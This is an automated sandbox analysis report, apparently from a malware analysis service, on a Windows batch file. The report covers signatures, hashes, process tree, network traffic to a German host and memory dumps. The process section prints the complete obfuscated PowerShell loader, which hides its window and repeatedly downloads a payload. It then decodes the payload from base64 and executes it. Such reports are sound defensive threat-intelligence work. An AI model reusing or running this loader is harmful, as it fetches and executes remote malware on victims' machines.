Overview

overview

10

Static

static

1

229c4ce294...f3.bat

windows7-x64

8

229c4ce294...f3.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    01/12/2024, 02:14 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    229c4ce294708561801b16eed5a155c8cfe8c965ea99ac3cfb4717a35a1492f3.bat

  • Size

    4KB

  • MD5

    7d81c68c80b51bfcdea2e11ac99e606f

  • SHA1

    5c0dae6d1b7e77f806fbeb537921222ad5136c9b

  • SHA256

    229c4ce294708561801b16eed5a155c8cfe8c965ea99ac3cfb4717a35a1492f3

  • SHA512

    8a5b8d97f8e2c344a32d6ee8fe93ba020fc01dc1717500214c1235af8fe9030d0c3bd5b540d0d78699b2eaa4dadaefe7417274ebf683dc1e71b56851d8acc10b

  • SSDEEP

    96:VDCwylmfZfGRN+0ndbI+Cd/Pfo2zkDVPKKb8Bv:VmuZf2nds+CFo28sKb81

Score
8/10
execution

Malware Config

Signatures

  • Blocklisted process makes network request 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\229c4ce294708561801b16eed5a155c8cfe8c965ea99ac3cfb4717a35a1492f3.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2300
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "<#Ferskvandsfiskerierne Klenes Middelvejen Semicartilaginous #>;$Racette136='Civiliseringschance';<#Skabehoveder Papirpresser Kvalifikationsniveauet gidens #>;$Predeficiently=$Fortredes+$host.UI;If ($Predeficiently) {$Blazoned++;}function Gyps($Pernickety){$Appendiculariidae=$Sealflower+$Pernickety.Length-$Blazoned; for( $Ekvilibrisme222=2;$Ekvilibrisme222 -lt $Appendiculariidae;$Ekvilibrisme222+=3){$Tegnefilmenes='Sprtning';$Spoonbill+=$Pernickety[$Ekvilibrisme222];$Urinaler='snvrest';}$Spoonbill;}function lsevrdig($Udarmes){ . ($iliopelvic) ($Udarmes);}$Souvlaki=Gyps 'I MUnoKrz EiC lSklEiaSo/ B5 .Ib0 a Ti(B WPhi ,n CdDeo wInsSa .rN ATs Pi1 d0 e.La0Ba;Fe NeW iNdnSu6 4H ; I E xKy6 4W ; R Flrh vBo:Wi1Un2Ch1Au.Ov0 ) iG,reRtcBekOvo o/ R2A 0Cu1Fy0.e0,u1s 0 1Te DyFV.inorS.e AfLioScxS /Es1Mo2Pl1 . i0Br ';$Lokalplanomraadernes=Gyps 'TeuLsSI EAcrAf- dAE,GBjEO,NT tBl ';$Imperator=Gyps ' h.otH t ,pFis :,r/gr/ UwStw owDo.Int MwLiiGe-UniS nIntRoeDirwiiIsoB.rI,.HodH e.w/ eLMaILnVOmE y/ Bw epIn-Dainen ecExl NuS,dS eArs.k/ aIL.XM RRe/ViA jl obFrrAceexkKotUxs v.I qGrx ddF ';$svrvgtsbokserens=Gyps ' l> G ';$iliopelvic=Gyps 'GhiLyeA x ';$Reclame='indberetningspligten';$Skint='\uncontradictablely.Ove';lsevrdig (Gyps 'm $ ngAflPoOFuBM,AAsLEf: aFs,OR.XIntSte,er .rS I E mrTie BN ,=Ex$ E.dNTeVHa: GAWepEtpabdPhAtoTAlaTr+,u$ oS ,K DiLen at L ');lsevrdig (Gyps 'b $SpGI lFao BBBlAJ LUn: UpX UCyl TM OD,nTwaSmR vi Ba o= S$GeIS m KP.leLarDuAC T ioL.RPr.Uns rPMalR i rT.e(Ca$PrS ,v MrEuV PgMeTBesStBGeoP k nSH EM,RLoE NH SDa)Le ');lsevrdig (Gyps 'No[GanL eFrT R.Sis,reUnrMiv Ni .c Me pS OSkIMln,qTBeMnyavrNMlAA G.neEnRSu]Ve:ka:CoSUsEDiC.ouHvrDei lT,ry PKaRTyO tMiOBeCO o cL i ,h=Be T.[deNCaEMiT a.StsovEStcTeu crBli dTa yTiPNaRMeo dT ,OCaCHeoC lH t Y CP TeAm]He: l:I.TVoLS s,n1S.2sv ');$Imperator=$Pulmonaria[0];$Rishsts=(Gyps ' U$ uG mlA OClb kAChlI : ,a nIntPrI p,eA RT Yh,eAMuRReISkaFrn a=QunTrEHew e-B O B j E pCGaTDe .rs SykosTrTH e lmTy.BiNDreT T l. ,w SETyB ecUnl .i EEzNPltDi ');lsevrdig ($Rishsts);lsevrdig (Gyps 'F $P AWinT tE.i spruaa t BhD,aBurofiP,aSlnAf.ElH,aeInaPld eKar Dsse[ u$NaL o .kDaatrlK pGul aaConBao PmB rA.aBeaU,dHoeTerTanN eTrs.p]he= j$ SS oEmuA v ylPia IkMyi u ');$Hydrometridae=Gyps ' U$E.ATanbetB iQupsaa OtSthVaaHor KiKlaNon L.LyD CoTawRynA,lProInaKadNoF piGsl,ieBo(Al$ II mFopCre Cr,ia,it MoinrOv,Fr$KuALadOvvuno Ok ,aFotB,u KrReeAlrsa) S ';$Advokaturer=$Foxterrieren;lsevrdig (Gyps ' ,$,eg NlPaoRiB AA ,LIm:FlCM,R PA.ans,ISjAKotEnE.eS,u= N(.ntWoE.tsWatS - aPV A ItI hS. B $afaNaDInvByOAfkMiaA.TPoU SR eDerF ) T ');while (!$craniates) {lsevrdig (Gyps 'Ty$ Cg GlRsoTeb fainlme:KiUUnn ci nm SmReeprdG iSta tM,eDilG yHy= S$ tAkr Eu eeBo ') ;lsevrdig $Hydrometridae;lsevrdig (Gyps 'Wes PT DACar ntA - aSSjLFyESeeGaP T S 4D ');lsevrdig (Gyps ' n$TogK,LThOB B,nAW L :z,CC,rUnA CnS Ia a T Je JsUn=Di(OpTOvENos dTS.- up ,AJoT PHDe G$,iA .d,ov RoGrKEfA aTI uSeRste R f) S ') ;lsevrdig (Gyps ' u$EkgEmLL oBibFeA VLMe: lW,ENana,iDiT FiO V ReFoLHyYSa=ap$EsG LlGrO abcyaC Lfo:Fog lMiABrt Sk .rT S e,rl.p+Ga+ S% n$B,pSkURel SMovo cN iaS RGai OA o.poCPaOBiUB nDiT S ') ;$Imperator=$Pulmonaria[$Lenitively];}$Denimens53=318932;$Crotchet=27290;lsevrdig (Gyps 'Si$LaG ulIrostb LAReLLe: otFouS rP EG D IER SC o=sl A.G CE ltOp-miCStoSunStTFoE UN,vTP $OpAG d ov rO dKepATotbeuBlR FeBeRA. ');lsevrdig (Gyps 'Ta$V,gNolReoSabS.aFil ,:FlAHjf stFleocrb nF,oLio onTes C M,=S Re[,iSO.y Ds Pt ,eRimNe. uCwhotenStvLyeF r Ct,r] c:ha:JeF PrOuoW mInBS a scleFo6,i4 SFotVarFaiSnn Sg B(Dy$b T cuRorDie dKneOms ) W ');lsevrdig (Gyps 'Sa$ PgInLGeo aB ca.eL.g:PrAN PDoOu LfrlNoICoN AA lRspISks IENorQuN AE usAg ,=Fa Fi[h s lY SNat CeKuMDi.E,tSaeArxGeTNo. eEuN gCR OKaD oI SNMeg r]He:Kt: aFiSS CB.iFoi u.FagA,ET,TKlS.etP rU iFanD.G t(.i$ fAUnFFeT.oE.nR ,nCooStoMoN.isCo) P ');lsevrdig (Gyps 'Ar$LoGShL SO tBNoA PLSe:miNR.OBrNboe.uXT p,aO pnWoEPenCrTSoi oa pl,uLKoY =.u$NoAilP SO alHelBriU N nAW.R .i.rS,ieSarFanDiE ISD .Dus,eU oBreSNrt,ir Ci KNJyGSi( n$grD.yeTrnT IbjM ,e GnNrSU 5 ,3Te,Ca$ CToRU O nTE c ,HL e CT a)Pa ');lsevrdig $nonexponentially;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1708

Network

  • flag-us
    DNS
    www.twi-interior.de
    powershell.exe
    Remote address:
    8.8.8.8:53
    Request
    www.twi-interior.de
    IN A
    Response
    www.twi-interior.de
    IN A
    217.160.0.204
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    399 B
     219 B
     6
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    453 B
     215 B
     7
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    516 B
     219 B
     6
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    608 B
     259 B
     8
    6
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    www.twi-interior.de
    tls
    powershell.exe
    353 B
     219 B
     5
    5
  • 217.160.0.204:443
    powershell.exe
  • 217.160.0.204:443
    powershell.exe
  • 8.8.8.8:53
    www.twi-interior.de
    dns
    powershell.exe
    65 B
     81 B
     1
    1

    DNS Request

    www.twi-interior.de

    DNS Response

    217.160.0.204

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1708-4-0x000007FEF55BE000-0x000007FEF55BF000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1708-6-0x00000000020E0000-0x00000000020E8000-memory.dmp

    Filesize

    32KB

    Download

  • memory/1708-5-0x000000001B590000-0x000000001B872000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/1708-7-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1708-8-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1708-9-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1708-10-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1708-11-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1708-12-0x000007FEF55BE000-0x000007FEF55BF000-memory.dmp

    Filesize

    4KB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.